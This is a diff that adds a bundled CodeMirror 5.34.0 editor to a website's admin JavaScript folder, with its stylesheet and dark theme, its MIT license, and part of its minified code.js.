+ border-left: 1px solid silver;
+}
+.CodeMirror.cm-fat-cursor div.CodeMirror-cursor {
+ width: auto;
+ border: 0;
+ background: #7e7;
+}
+.CodeMirror.cm-fat-cursor div.CodeMirror-cursors {
+ z-index: 1;
+}
+
+.cm-animate-fat-cursor {
+ width: auto;
+ border: 0;
+ -webkit-animation: blink 1.06s steps(1) infinite;
+ -moz-animation: blink 1.06s steps(1) infinite;
+ animation: blink 1.06s steps(1) infinite;
+}
+@-moz-keyframes blink {
+ 0% { background: #7e7; }
+ 50% { background: none; }
+ 100% { background: #7e7; }
+}
+@-webkit-keyframes blink {
+ 0% { background: #7e7; }
+ 50% { background: none; }
+ 100% { background: #7e7; }
+}
+@keyframes blink {
+ 0% { background: #7e7; }
+ 50% { background: none; }
+ 100% { background: #7e7; }
+}
+
+/* Can style cursor different in overwrite (non-insert) mode */
+div.CodeMirror-overwrite div.CodeMirror-cursor {}
+
+.cm-tab { display: inline-block; text-decoration: inherit; }
+
+.CodeMirror-ruler {
+ border-left: 1px solid #ccc;
+ position: absolute;
+}
+
+/* DEFAULT THEME */
+
+.cm-s-default .cm-keyword {color: #708;}
+.cm-s-default .cm-atom {color: #219;}
+.cm-s-default .cm-number {color: #164;}
+.cm-s-default .cm-def {color: #00f;}
+.cm-s-default .cm-variable,
+.cm-s-default .cm-punctuation,
+.cm-s-default .cm-property,
+.cm-s-default .cm-operator {}
+.cm-s-default .cm-variable-2 {color: #05a;}
+.cm-s-default .cm-variable-3 {color: #085;}
+.cm-s-default .cm-comment {color: #a50;}
+.cm-s-default .cm-string {color: #a11;}
+.cm-s-default .cm-string-2 {color: #f50;}
+.cm-s-default .cm-meta {color: #555;}
+.cm-s-default .cm-qualifier {color: #555;}
+.cm-s-default .cm-builtin {color: #30a;}
+.cm-s-default .cm-bracket {color: #997;}
+.cm-s-default .cm-tag {color: #170;}
+.cm-s-default .cm-attribute {color: #00c;}
+.cm-s-default .cm-header {color: blue;}
+.cm-s-default .cm-quote {color: #090;}
+.cm-s-default .cm-hr {color: #999;}
+.cm-s-default .cm-link {color: #00c;}
+
+.cm-negative {color: #d44;}
+.cm-positive {color: #292;}
+.cm-header, .cm-strong {font-weight: bold;}
+.cm-em {font-style: italic;}
+.cm-link {text-decoration: underline;}
+.cm-strikethrough {text-decoration: line-through;}
+
+.cm-s-default .cm-error {color: #f00;}
+.cm-invalidchar {color: #f00;}
+
+/* Default styles for common addons */
+
+div.CodeMirror span.CodeMirror-matchingbracket {color: #0f0;}
+div.CodeMirror span.CodeMirror-nonmatchingbracket {color: #f22;}
+.CodeMirror-matchingtag { background: rgba(255, 150, 0, .3); }
+.CodeMirror-activeline-background {background: #e8f2ff;}
+
+/* STOP */
+
+/* The rest of this file contains styles related to the mechanics of
+ the editor. You probably shouldn't touch them. */
+
+.CodeMirror {
+ position: relative;
+ overflow: hidden;
+ background: white;
+ color: black;
+}
+
+.CodeMirror-scroll {
+ overflow: scroll !important; /* Things will break if this is overridden */
+ /* 30px is the magic margin used to hide the element's real scrollbars */
+ /* See overflow: hidden in .CodeMirror */
+ margin-bottom: -30px; margin-right: -30px;
+ padding-bottom: 30px;
+ height: 100%;
+ outline: none; /* Prevent dragging from highlighting the element */
+ position: relative;
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+}
+.CodeMirror-sizer {
+ position: relative;
+ border-right: 30px solid transparent;
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+}
+
+/* Force content-box sizing for the elements where we expect it */
+.CodeMirror-scroll,
+.CodeMirror-sizer,
+.CodeMirror-gutter,
+.CodeMirror-gutters,
+.CodeMirror-linenumber {
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+}
+
+/* The fake, visible scrollbars. Used to force redraw during scrolling
+ before actuall scrolling happens, thus preventing shaking and
+ flickering artifacts. */
+.CodeMirror-vscrollbar, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
+ position: absolute;
+ z-index: 6;
+ display: none;
+}
+.CodeMirror-vscrollbar {
+ right: 0; top: 0;
+ overflow-x: hidden;
+ overflow-y: scroll;
+}
+.CodeMirror-hscrollbar {
+ bottom: 0; left: 0;
+ overflow-y: hidden;
+ overflow-x: scroll;
+}
+.CodeMirror-scrollbar-filler {
+ right: 0; bottom: 0;
+}
+.CodeMirror-gutter-filler {
+ left: 0; bottom: 0;
+}
+
+.CodeMirror-gutters {
+ position: absolute; left: 0; top: 0;
+ min-height: 100%;
+ z-index: 3;
+}
+.CodeMirror-gutter {
+ white-space: normal;
+ height: 100%;
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+ display: inline-block;
+ margin-bottom: -30px;
+ /* Hack to make IE7 behave */
+ *zoom:1;
+ *display:inline;
+}
+.CodeMirror-gutter-wrapper {
+ position: absolute;
+ z-index: 4;
+ height: 100%;
+}
+.CodeMirror-gutter-elt {
+ position: absolute;
+ cursor: default;
+ z-index: 4;
+}
+
+.CodeMirror-lines {
+ cursor: text;
+ min-height: 1px; /* prevents collapsing before first draw */
+}
+.CodeMirror pre {
+ /* Reset some styles that the rest of the page might have set */
+ -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0;
+ border-width: 0;
+ background: transparent;
+ margin: 0;
+ white-space: pre;
+ word-wrap: normal;
+ z-index: 2;
+ position: relative;
+ overflow: visible;
+}
+.CodeMirror-wrap pre {
+ word-wrap: break-word;
+ white-space: pre-wrap;
+ word-break: normal;
+}
+
+.CodeMirror-linebackground {
+ position: absolute;
+ left: 0; right: 0; top: 0; bottom: 0;
+ z-index: 0;
+}
+
+.CodeMirror-linewidget {
+ position: relative;
+ z-index: 2;
+ overflow: auto;
+}
+
+.CodeMirror-widget {}
+
+.CodeMirror-measure {
+ position: absolute;
+ width: 100%;
+ height: 0;
+ overflow: hidden;
+ visibility: hidden;
+}
+.CodeMirror-measure pre { position: static; }
+
+.CodeMirror div.CodeMirror-cursor {
+ position: absolute;
+ border-right: none;
+ width: 0;
+}
+
+div.CodeMirror-cursors {
+ visibility: hidden;
+ position: relative;
+ z-index: 3;
+}
+.CodeMirror-focused div.CodeMirror-cursors {
+ visibility: visible;
+}
+
+.CodeMirror-selected { background: #d9d9d9; }
+.CodeMirror-focused .CodeMirror-selected { background: #d7d4f0; }
+.CodeMirror-crosshair { cursor: crosshair; }
+
+.cm-searching {
+ background: #ffa;
+ background: rgba(255, 255, 0, .4);
+}
+
+/* IE7 hack to prevent it from returning funny offsetTops on the spans */
+.CodeMirror span { *vertical-align: text-bottom; }
+
+/* Used to force a border model for a node */
+.cm-force-border { padding-right: .1px; }
+
+@media print {
+ /* Hide the cursor when printing */
+ .CodeMirror div.CodeMirror-cursors {
+ visibility: hidden;
+ }
+}
+
+/* See issue #2901 */
+.cm-tab-wrap-hack:after { content: ''; }
+
+/* Help users use markselection to safely style text background */
+span.CodeMirror-selectedtext { background: none; }
+
+.CodeMirror-search-match {
+ background: gold;
+ border-top: 1px solid orange;
+ border-bottom: 1px solid orange;
+ -moz-box-sizing: border-box;
+ box-sizing: border-box;
+ opacity: .5;
+}
+
+.CodeMirror-dialog {
+ position: absolute;
+ left: 0; right: 0;
+ background: white;
+ z-index: 15;
+ padding: .1em .8em;
+ overflow: hidden;
+ color: #333;
+}
+
+.CodeMirror-dialog-top {
+ border-bottom: 1px solid #eee;
+ top: 0;
+}
+
+.CodeMirror-dialog-bottom {
+ border-top: 1px solid #eee;
+ bottom: 0;
+}
+
+.CodeMirror-dialog input {
+ border: none;
+ outline: none;
+ background: transparent;
+ width: 20em;
+ color: inherit;
+ font-family: monospace;
+}
+
+.CodeMirror-dialog button {
+ font-size: 70%;
+}
+
+/*!
+ * CodeMirror dark
+ */
+
+.dle_theme_dark .CodeMirror-guttermarker{color:#ddd}
+.dle_theme_dark .CodeMirror div.CodeMirror-cursor{border-left:1px solid #ddd}
+.dle_theme_dark .CodeMirror {
+ color: #ddd;
+ background-color: rgba(0,0,0,.2);
+}
+
+.dle_theme_dark .cm-tag {color: #e06c75;}
+.dle_theme_dark .cm-attribute {color: #d19a66;}
+.dle_theme_dark .cm-link {color: #98c379;border-bottom: solid 1px #98c379;}
+
+.dle_theme_dark .cm-builtin {color: #e06c75;}
+.dle_theme_dark .cm-keyword {color: #c678dd;}
+.dle_theme_dark .cm-def {color: #e5c07b;}
+
+.dle_theme_dark .cm-atom {color: #d19a66;}
+.dle_theme_dark .cm-number {color: #d19a66;}
+.dle_theme_dark .cm-property {color: #61afef;}
+.dle_theme_dark .cm-qualifier {color: #d19a66;}
+
+.dle_theme_dark .cm-variable {color: #e06c75;}
+.dle_theme_dark .cm-variable-2 {color: #abb2bf;}
+.dle_theme_dark .cm-variable-3 {color: #e5c07b;}
+
+.dle_theme_dark .cm-string {color: #98c379;}
+.dle_theme_dark .cm-string-2 {color: #98c379;}
+
+.dle_theme_dark .cm-punctuation {color: #abb2bf;}
+.dle_theme_dark .cm-operator {color: #abb2bf;}
+.dle_theme_dark .cm-meta {color: #abb2bf;}
+.dle_theme_dark .cm-bracket {color: #abb2bf;}
+.dle_theme_dark .cm-comment {color: #5c6370;font-style: italic;}
+
+.dle_theme_dark .CodeMirror-gutters {
+ border-right: 1px solid #616161;
+ background-color: #1C212B;
+}
+
+.dle_theme_dark .CodeMirror-selected {background:#555;}
diff --git a/public/admin/view/javascript/codemirror-dle/js/LICENSE b/public/admin/view/javascript/codemirror-dle/js/LICENSE
new file mode 100644
index 0000000..3f7c0bb
--- /dev/null
+++ b/public/admin/view/javascript/codemirror-dle/js/LICENSE
@@ -0,0 +1,19 @@
+Copyright (C) 2011 by Marijn Haverbeke
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/public/admin/view/javascript/codemirror-dle/js/code.js b/public/admin/view/javascript/codemirror-dle/js/code.js
new file mode 100644
index 0000000..83b9a11
--- /dev/null
+++ b/public/admin/view/javascript/codemirror-dle/js/code.js
@@ -0,0 +1,518 @@
+/* CodeMirror - Minified & Bundled
+ Generated with http://codemirror.net/doc/compress.html
+ Version: 5.34.0
+
+ CodeMirror Library:
+ - codemirror.js
+ Modes:
+ - css.js
+ - htmlembedded.js
+ - htmlmixed.js
+ - javascript.js
+ - xml.js
+ - php.js
+ - clike.js
+ - sql.js
+ Add-ons:
+ - dialog.js
+ - search.js
+ - searchcursor.js
+ - searchcursor.js
+ - autorefresh.js
+ */
+
+(function(q,I){"object"===typeof exports&&"undefined"!==typeof module?module.exports=I():"function"===typeof define&&define.amd?define(I):q.CodeMirror=I()})(this,function(){function q(a){return new RegExp("(^|\\s)"+a+"(?:$|\\s)\\s*")}function I(a){for(var b=a.childNodes.length;0h||h>=b)return e+(b-d);
+e+=h-d;e+=c-e%c;d=h+1}}function H(a,b){for(var c=0;c=b)return d+Math.min(l,b-e);e+=h-d;e+=c-e%c;d=h+1;if(e>=b)return d}}function F(a){for(;Yc.length<=a;)Yc.push(g(Yc)+" ");return Yc[a]}function g(a){return a[a.length-1]}function x(a,b){for(var c=[],d=0;dc?0c?-1:1;;){if(b==c)return b;var e=(b+c)/2;e=0>d?Math.ceil(e):Math.floor(e);if(e==b)return a(e)?b:c;a(e)?c=e:b=e+d}}function za(a,b,c){this.input=c;this.scrollbarFiller=t("div",null,"CodeMirror-scrollbar-filler");this.scrollbarFiller.setAttribute("cm-not-content","true");this.gutterFiller=t("div",null,"CodeMirror-gutter-filler");this.gutterFiller.setAttribute("cm-not-content","true");this.lineDiv=w("div",null,"CodeMirror-code");this.selectionDiv=t("div",null,
+null,"position: relative; z-index: 1");this.cursorDiv=t("div",null,"CodeMirror-cursors");this.measure=t("div",null,"CodeMirror-measure");this.lineMeasure=t("div",null,"CodeMirror-measure");this.lineSpace=w("div",[this.measure,this.lineMeasure,this.selectionDiv,this.cursorDiv,this.lineDiv],null,"position: relative; outline: none");var d=w("div",[this.lineSpace],"CodeMirror-lines");this.mover=t("div",[d],null,"position: relative");this.sizer=t("div",[this.mover],"CodeMirror-sizer");this.sizerWidth=
+null;this.heightForcer=t("div",null,null,"position: absolute; height: 30px; width: 1px;");this.gutters=t("div",null,"CodeMirror-gutters");this.lineGutter=null;this.scroller=t("div",[this.sizer,this.heightForcer,this.gutters],"CodeMirror-scroll");this.scroller.setAttribute("tabIndex","-1");this.wrapper=t("div",[this.scrollbarFiller,this.gutterFiller,this.scroller],"CodeMirror");R&&8>fa&&(this.gutters.style.zIndex=-1,this.scroller.style.paddingRight=0);va||hb&&gc||(this.scroller.draggable=!0);a&&(a.appendChild?
+a.appendChild(this.wrapper):a(this.wrapper));this.reportedViewFrom=this.reportedViewTo=this.viewFrom=this.viewTo=b.first;this.view=[];this.externalMeasured=this.renderedView=null;this.lastWrapHeight=this.lastWrapWidth=this.viewOffset=0;this.updateLineNumbers=null;this.nativeBarWidth=this.barHeight=this.barWidth=0;this.scrollbarsClipped=!1;this.lineNumWidth=this.lineNumInnerWidth=this.lineNumChars=null;this.alignWidgets=!1;this.maxLine=this.cachedCharWidth=this.cachedTextHeight=this.cachedPaddingH=
+null;this.maxLineLength=0;this.maxLineChanged=!1;this.wheelDX=this.wheelDY=this.wheelStartX=this.wheelStartY=null;this.shift=!1;this.activeTouch=this.selForContextMenu=null;c.init(this)}function A(a,b){b-=a.first;if(0>b||b>=a.size)throw Error("There is no line "+(b+a.first)+" in the document.");for(var c=a;!c.lines;)for(var d=0;;++d){var e=c.children[d],h=e.chunkSize();if(b=a.first&&bK(a,b)?b:a}function Va(a,b){return 0>K(a,b)?a:b}function M(a,b){if(b.linec)return z(c,A(a,c).text.length);c=A(a,b.line).text.length;var d=b.ch;c=null==d||d>c?z(b.line,c):0>d?z(b.line,0):b;return c}function cb(a,b){for(var c=[],d=0;d=e:G.to>e);(n||(n=[])).push(new Kb(m,G.from,f?null:G.to))}}c=
+n;var ba;if(d)for(n=0;n=h:r.to>h)||r.from==h&&"bookmark"==G.type&&(!l||r.marker.insertLeft))m=null==r.from||(G.inclusiveLeft?r.from<=h:r.fromK(l.to,e.from)||0r||!c.inclusiveLeft&&!r)&&n.push({from:l.from,to:e.from});(0E(h,d.marker)))var h=d.marker;return h}function N(a,b,c,d,e){a=A(a,b);if(a=ib&&a.markedSpans)for(b=0;b=r||0>=n&&0<=r)&&(0>=n&&(h.marker.inclusiveRight&&e.inclusiveLeft?0<=
+K(l.to,c):0=K(l.from,d):0>K(l.from,d))))return!0}}}function Da(a){for(var b;b=Wa(a,!0);)a=b.find(-1,!0).line;return a}function Aa(a,b){var c=A(a,b),d=Da(c);return c==d?b:T(d)}function Zc(a,b){if(b>a.lastLine())return b;var c=A(a,b),d;if(!Ea(a,c))return b;for(;d=Wa(c,!1);)c=d.find(1,!0).line;return T(c)+1}function Ea(a,b){var c=ib&&b.markedSpans;if(c)for(var d,e=0;eb.maxLineLength&&(b.maxLineLength=d,b.maxLine=a)})}function Ed(a,b,c,d){if(!a)return d(b,c,"ltr",0);for(var e=!1,h=0;hb||b==c&&l.to==b)d(Math.max(l.from,b),Math.min(l.to,c),1==l.level?"rtl":"ltr",h),e=!0}e||d(b,c,"ltr")}function Xa(a,b,c){var d;lc=null;for(var e=0;eb)return e;h.to==b&&(h.from!=h.to&&"before"==c?d=e:lc=e);h.from==b&&(h.from!=h.to&&"before"!=c?d=e:lc=e)}return null!=
+d?d:lc}function Na(a,b){var c=a.order;null==c&&(c=a.order=og(a.text,b));return c}function ja(a,b,c){if(a.removeEventListener)a.removeEventListener(b,c,!1);else if(a.detachEvent)a.detachEvent("on"+b,c);else{var d=(a=a._handlers)&&a[b];d&&(c=H(d,c),-1=b.offsetWidth&&2fa))}a=
+Fd?t("span","\u200b"):t("span","\u00a0",null,"display: inline-block; width: 1px; margin-right: -1px");a.setAttribute("cm-text","");return a}function Gd(a,b){2a&&e.splice(r,1,a,e[r+1],c);r+=2;m=Math.min(a,c)}if(b)if(n.opaque)e.splice(d,r-d,a,"overlay "+b),r=d+2;else for(;da.options.maxHighlightLength&&db(a.doc.mode,d.state),h=oc(a,b,d);e&&(d.state=e);b.stateAfter=d.save(!e);b.styles=h.styles;h.classes?b.styleClasses=h.classes:b.styleClasses&&(b.styleClasses=null);c===a.doc.highlightFrontier&&(a.doc.modeFrontier=Math.max(a.doc.modeFrontier,++a.doc.highlightFrontier))}return b.styles}function Ja(a,b,c){var d=a.doc,e=a.display;if(!d.mode.startState)return new Ya(d,!0,b);var h=Rb(a,b,c),l=h>d.first&&A(d,h-1).stateAfter,n=l?Ya.fromSaved(d,l,h):new Ya(d,
+eb(d.mode),h);d.iter(h,b,function(d){ha(a,d.text,n);var c=n.line;d.stateAfter=c==b-1||0==c%5||c>=e.viewFrom&&ce;e++){d&&(d[0]=Qb(a,c).mode);var h=a.token(b,c);if(b.pos>b.start)return h}throw Error("Mode "+a.name+" failed to advance stream.");}function pc(a,b,c,d){var e=a.doc,h=e.mode;b=M(e,b);var l=A(e,b.line);c=Ja(a,b.line,c);a=new la(l.text,a.options.tabSize,c);var n;for(d&&(n=[]);(d||a.posa.options.maxHighlightLength){n=!1;l&&ha(a,b,d,m.pos);m.pos=b.length;var k=null}else k=dd(Tb(c,m,d.state,
+f),h);if(f){var g=f[0].name;g&&(k="m-"+(k?g+" "+k:g))}if(!n||G!=k){for(;rl;--b){if(b<=h.first)return h.first;var n=A(h,b-1),r=n.stateAfter;if(r&&(!c||b+(r instanceof ed?r.lookAhead:0)<=h.modeFrontier))return b;n=k(n.text,null,a.options.tabSize);if(null==e||d>n)e=b-1,d=n}return e}function Id(a,b){a.modeFrontier=
+Math.min(a.modeFrontier,b);if(!(a.highlightFrontierc;d--){var e=A(a,d).stateAfter;if(e&&(!(e instanceof ed)||d+e.lookAheadn.right-r.right:!1}l&&(h=Na(e,a.doc.direction))&&(c.addToken=rg(c.addToken,h));c.map=[];var G=b!=a.display.externalMeasured&&T(e);a:{var m=n=
+r=l=void 0,f=void 0,k=void 0,g=void 0;h=c;G=ub(a,e,G);var p=e.markedSpans,x=e.text,q=0;if(p)for(var S=x.length,N=0,F=1,y="",v=0;;){if(v==N){f=m=n=r=k="";l=null;v=Infinity;for(var Q=[],t=void 0,z=0;z N||Y.collapsed&&A.to==N&&A.from==N)?(null!=A.to&&A.to!=N&&v>A.to&&(v=A.to,m=""),Y.className&&(f+=" "+Y.className),Y.css&&(k=(k?k+";":"")+Y.css),Y.startStyle&&A.from==N&&(n+=" "+Y.startStyle),
+Y.endStyle&&A.to==v&&(t||(t=[])).push(Y.endStyle,A.to),Y.title&&!r&&(r=Y.title),Y.collapsed&&(!l||0>E(l.marker,Y))&&(l=A)):A.from>N&&v>A.from&&(v=A.from)}if(t)for(z=0;z=S)break;for(Q=Math.min(S,v);;){if(y){t=N+y.length;l||(z=t>Q?y.slice(0,Q-N):y,h.addToken(h,z,g?g+f:f,n,N+z.length==v?m:"",
+r,k));if(t>=Q){y=y.slice(Q-N);N=Q;break}N=t;n=""}y=x.slice(q,q=G[F++]);g=B(G[F++],h.cm.options)}}else for(l=1;lfa?n.appendChild(t("span",[u])):n.appendChild(u);a.map.push(a.pos,
+a.pos+g,u);a.col+=g;a.pos+=g}if(!k)break;f+=g+1;"\t"==k[0]?(k=a.cm.options.tabSize,k-=a.col%k,g=n.appendChild(t("span",F(k),"cm-tab")),g.setAttribute("role","presentation"),g.setAttribute("cm-text","\t"),a.col+=k):("\r"==k[0]||"\n"==k[0]?(g=n.appendChild(t("span","\r"==k[0]?"\u240d":"\u2424","cm-invalidchar")),g.setAttribute("cm-text",k[0])):(g=a.cm.options.specialCharPlaceholder(k[0]),g.setAttribute("cm-text",k[0]),R&&9>fa?n.appendChild(t("span",[g])):n.appendChild(g)),a.col+=1);a.map.push(a.pos,
+a.pos+1,g);a.pos++}}else a.col+=b.length,n=document.createTextNode(r),a.map.push(a.pos,a.pos+b.length,n),R&&9>fa&&(m=!0),a.pos+=b.length;a.trailingSpace=32==r.charCodeAt(b.length-1);if(c||d||e||m||l)return b=c||"",d&&(b+=d),e&&(b+=e),d=t("span",[n],b,l),h&&(d.title=h),a.content.appendChild(d);a.content.appendChild(n)}}function rg(a,b){return function(c,d,e,h,l,n,r){e=e?e+" cm-force-border":"cm-force-border";for(var G=c.pos,m=G+d.length;;){for(var f=void 0,k=0;kG&&f.from<=
+G);k++);if(f.to>=m)return a(c,d,e,h,l,n,r);a(c,d.slice(0,f.to-G),e,h,null,n,r);h=null;d=d.slice(f.to-G);G=f.to}}}function ye(a,b,c,d){var e=!d&&c.widgetNode;e&&a.map.push(a.pos,a.pos+b,e);!d&&a.cm.display.input.needsContentAttribute&&(e||(e=a.content.appendChild(document.createElement("span"))),e.setAttribute("cm-marker",c.id));e&&(a.cm.display.input.setUneditable(e),a.content.appendChild(e));a.pos+=b;a.trailingSpace=!1}function ze(a,b,c){for(var d=this.line=b,e;d=Wa(d,!1);)d=d.find(1,!0).line,(e||
+(e=[])).push(d);this.size=(this.rest=e)?T(g(this.rest))-c+1:1;this.node=this.text=null;this.hidden=Ea(a,b)}function gd(a,b,c){var d=[],e;for(e=b;efa&&(a.node.style.zIndex=2));return a.node}function Be(a,b){var c=a.display.externalMeasured;return c&&c.line==b.line?(a.display.externalMeasured=null,b.measure=c.measure,c.built):fd(a,b)}function Kd(a,b){var c=b.bgClass?b.bgClass+" "+(b.line.bgClass||""):b.line.bgClass;c&&(c+=" CodeMirror-linebackground");if(b.background)c?b.background.className=
+c:(b.background.parentNode.removeChild(b.background),b.background=null);else if(c){var d=sc(b);b.background=d.insertBefore(t("div",null,c),d.firstChild);a.display.input.setUneditable(b.background)}b.line.wrapClass?sc(b).className=b.line.wrapClass:b.node!=b.text&&(b.node.className="");b.text.className=(b.textClass?b.textClass+" "+(b.line.textClass||""):b.line.textClass)||""}function Ce(a,b,c,d){b.gutter&&(b.node.removeChild(b.gutter),b.gutter=null);b.gutterBackground&&(b.node.removeChild(b.gutterBackground),
+b.gutterBackground=null);if(b.line.gutterClass){var e=sc(b);b.gutterBackground=t("div",null,"CodeMirror-gutter-background "+b.line.gutterClass,"left: "+(a.options.fixedGutter?d.fixedPos:-d.gutterTotalWidth)+"px; width: "+d.gutterTotalWidth+"px");a.display.input.setUneditable(b.gutterBackground);e.insertBefore(b.gutterBackground,b.text)}e=b.line.gutterMarkers;if(a.options.lineNumbers||e){var h=sc(b),l=b.gutter=t("div",null,"CodeMirror-gutter-wrapper","left: "+(a.options.fixedGutter?d.fixedPos:-d.gutterTotalWidth)+
+"px");a.display.input.setUneditable(l);h.insertBefore(l,b.text);b.line.gutterClass&&(l.className+=" "+b.line.gutterClass);!a.options.lineNumbers||e&&e["CodeMirror-linenumbers"]||(b.lineNumber=l.appendChild(t("div",hc(a.options,c),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+d.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+a.display.lineNumInnerWidth+"px")));if(e)for(b=0;bc)return{map:a.measure.maps[b],cache:a.measure.caches[b],before:!0}}function Nd(a,b){if(b>=a.display.viewFrom&&b=c.lineN&&bg;g++){for(;n&&ea(b.line.text.charAt(l.coverStart+n));)--n;for(;l.coverStart+
+rfa&&0==n&&r==l.coverEnd-l.coverStart)var u=d.parentNode.getBoundingClientRect();else{u=qc(d,n,r).getClientRects();r=Ie;if("left"==f)for(m=0;mfa&&((g=!window.screen||null==screen.logicalXDPI||screen.logicalXDPI==screen.deviceXDPI)||(null!=Pd?g=Pd:(f=C(a.display.measure,t("span","x")),
+g=f.getBoundingClientRect(),f=qc(f,0,1).getBoundingClientRect(),g=Pd=1fa)||n||u&&(u.left||u.right)||(u=(u=d.parentNode.getClientRects()[0])?{left:u.left,right:u.left+uc(a.display),
+top:u.top,bottom:u.bottom}:Ie);d=u.top-b.rect.top;n=u.bottom-b.rect.top;g=(d+n)/2;f=b.view.measure.heights;for(l=0;lb)h=r-n,e=h-1,b>=r&&(l="right");if(null!=e){d=a[m+2];n==r&&c==(d.insertLeft?"left":"right")&&(l=c);if("left"==c&&0==e)for(;m&&a[m-2]==a[m-3]&&a[m-1].insertLeft;)d=a[(m-=3)+2],l="left";if("right"==c&&e==r-n)for(;m=d.text.length?(m=d.text.length,b="before"):0>=m&&(m=0,b="after");if(!r)return l("before"==b?m-1:m,"before"==b);var f=Xa(r,m,b),k=lc;f=n(m,f,"before"==
+b);null!=k&&(f.other=n(m,k,"before"!=b));return f}function Oe(a,b){var c=0;b=M(a.doc,b);a.options.lineWrapping||(c=uc(a.display)*b.ch);var d=A(a.doc,b.line),e=Ia(d)+a.display.lineSpace.offsetTop;return{left:c,right:c,top:e,bottom:e+d.height}}function Sd(a,b,c,d,e){a=z(a,b,c);a.xRel=e;d&&(a.outside=!0);return a}function Td(a,b,c){var d=a.doc;c+=a.display.viewOffset;if(0>c)return Sd(d.first,0,null,!0,-1);var e=bb(d,c),h=d.first+d.size-1;if(e>h)return Sd(d.first+d.size-1,A(d,h).text.length,null,!0,1);
+0>b&&(b=0);for(d=A(d,e);;)if(e=vg(a,d,e,b,c),h=(d=Wa(d,!1))&&d.find(0,!0),d&&(e.ch>h.from.ch||e.ch==h.from.ch&&0d},e,b);return{begin:e,end:b}}function Qe(a,b,c,d){c||(c=xb(a,b));d=jd(a,b,Ra(a,c,d),"line").top;return Pe(a,b,c,d)}function Ud(a,b,c,d){return a.bottom<=c?!1:a.top>c?!0:(d?a.left:a.right)>b}function vg(a,b,c,
+d,e){e-=Ia(b);var h=xb(a,b),l=Qd(b),n=0,r=b.text.length,m=!0,f=Na(b,a.doc.direction);f&&(f=(a.options.lineWrapping?wg:xg)(a,b,c,h,f,d,e),n=(m=1!=f.level)?f.from:f.to-1,r=m?f.to:f.from-1);var k=null,g=null;f=ma(function(b){var c=Ra(a,h,b);c.top+=l;c.bottom+=l;if(!Ud(c,d,e,!1))return!1;c.top<=e&&c.left<=d&&(k=b,g=c);return!0},n,r);var u=!1;g?(n=d-g.left=u.bottom);f=ab(b.text,f,1);return Sd(c,f,m,u,d-n)}function xg(a,b,c,d,e,h,l){var n=ma(function(n){n=e[n];var r=1!=n.level;return Ud(Sa(a,z(c,r?n.to:n.from,r?"before":"after"),"line",b,d),h,l,!0)},0,e.length-1),r=e[n];if(0l&&(r=e[n-1])}return r}function wg(a,b,c,d,e,h,l){l=Pe(a,b,d,l);c=l.begin;l=l.end;/\s/.test(b.text.charAt(l-
+1))&&l--;for(var n=b=null,r=0;r=l||m.to<=c)){var f=Ra(a,d,1!=m.level?Math.min(l,m.to)-1:Math.max(c,m.from)).right;f=ff)b=m,n=f}}b||(b=e[e.length-1]);b.froml&&(b={from:b.from,to:l,level:b.level});return b}function yb(a){if(null!=a.cachedTextHeight)return a.cachedTextHeight;if(null==zb){zb=t("pre");for(var b=0;49>b;++b)zb.appendChild(document.createTextNode("x")),zb.appendChild(t("br"));zb.appendChild(document.createTextNode("x"))}C(a.measure,
+zb);b=zb.offsetHeight/50;3=a.display.viewTo)return null;b-=a.display.viewFrom;if(0>b)return null;for(var c=a.display.view,d=0;db)return d}function wc(a){a.display.input.showSelection(a.display.input.prepareSelection())}function Se(a,b){void 0===b&&(b=!0);for(var c=a.doc,d={},e=d.cursors=document.createDocumentFragment(),h=d.selection=document.createDocumentFragment(),l=0;l=a.display.viewTo||n.to().lineb&&(b=0);b=Math.round(b);c=Math.round(c);n.appendChild(t("div",null,"CodeMirror-selected","position: absolute; left: "+a+"px;\n top: "+b+"px; width: "+(null==d?f-a:d)+"px;\n height: "+(c-b)+"px"))}function e(b,c,e){function h(d,
+c){return Rd(a,z(b,d),"div",r,c)}function n(b,d,c){b=Qe(a,r,null,b);d="ltr"==d==("after"==c)?"left":"right";c="after"==c?b.begin:b.end-(/\s/.test(r.text.charAt(b.end-1))?2:1);return h(c,d)[d]}var r=A(l,b),g=r.text.length,G,u,p=Na(r,l.direction);Ed(p,c||0,null==e?g:e,function(a,b,l,r){var ba="ltr"==l,E=h(a,ba?"left":"right"),x=h(b-1,ba?"right":"left"),N=null==c&&0==a,q=null==e&&b==g,Dd=0==r;r=!p||r==p.length-1;3>=x.top-E.top?(b=(k?N:q)&&Dd?m:(ba?E:x).left,d(b,E.top,((k?q:N)&&r?f:(ba?x:E).right)-b,
